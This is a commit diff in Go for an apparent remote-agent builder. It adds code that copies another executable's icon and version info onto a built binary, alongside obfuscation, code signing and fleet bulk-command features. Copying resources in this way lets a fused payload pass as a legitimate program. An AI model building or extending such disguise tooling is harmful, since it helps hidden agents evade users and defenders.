Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
@@ -3,6 +3,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
@@ -11,6 +12,77 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// applyPrepResourcesToEXE copies icon + version info from prepPath onto exePath (post-build).
|
||||
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
|
||||
if err := h.patchEXEResourcesFromPrepExtract(prepPath, exePath); err == nil {
|
||||
log.Printf("[Fusion] Applied icon + version info from %s", filepath.Base(prepPath))
|
||||
return nil
|
||||
} else {
|
||||
log.Printf("[Fusion] resource extract/patch failed, trying icon fallback: %v", err)
|
||||
}
|
||||
if err := h.patchEXEWithExtractedICO(prepPath, exePath); err == nil {
|
||||
log.Printf("[Fusion] Applied icon from %s (fallback ico)", filepath.Base(prepPath))
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("could not copy icon/resources from prep exe")
|
||||
}
|
||||
|
||||
func (h *Handler) patchEXEResourcesFromPrepExtract(prepPath, exePath string) error {
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-resources-*")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
if _, err := h.runGoWinres("", "extract", "--dir", workDir, prepPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
filteredJSON, err := writeIconAndVersionWinresJSON(filepath.Join(workDir, "winres.json"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err := h.runGoWinres(filepath.Dir(filteredJSON), "patch", "--in", filteredJSON, "--no-backup", exePath); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) patchEXEWithExtractedICO(prepPath, exePath string) error {
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-ico-*")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
iconPath := filepath.Join(workDir, "prep-icon.ico")
|
||||
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
doc := map[string]any{
|
||||
"RT_GROUP_ICON": map[string]any{
|
||||
"APP": map[string]any{
|
||||
"0409": "prep-icon.ico",
|
||||
},
|
||||
},
|
||||
}
|
||||
jsonPath := filepath.Join(workDir, "icons-only.json")
|
||||
raw, err := json.MarshalIndent(doc, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(jsonPath, raw, 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err := h.runGoWinres(workDir, "patch", "--in", jsonPath, "--no-backup", exePath); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
|
||||
func extractIconFromEXE(exePath, icoPath string) error {
|
||||
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
|
||||
@@ -37,34 +109,10 @@ $fs.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon.
|
||||
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
||||
iconPath := filepath.Join(fusionDir, "prep-icon.ico")
|
||||
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath))
|
||||
cmd := exec.Command(
|
||||
"go", "run", "github.com/tc-hib/go-winres@v0.3.1",
|
||||
"make",
|
||||
"--arch", "amd64",
|
||||
"--in", fusionDir,
|
||||
"--icon", iconPath,
|
||||
"--file-description", productName,
|
||||
"--product-name", productName,
|
||||
"--original-filename", filepath.Base(prepPath),
|
||||
)
|
||||
cmd.Dir = fusionDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath))
|
||||
return nil
|
||||
}
|
||||
|
||||
// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI).
|
||||
func peSubsystem(exePath string) int {
|
||||
data, err := os.ReadFile(exePath)
|
||||
if err != nil || len(data) < 128 {
|
||||
|
||||
Reference in New Issue
Block a user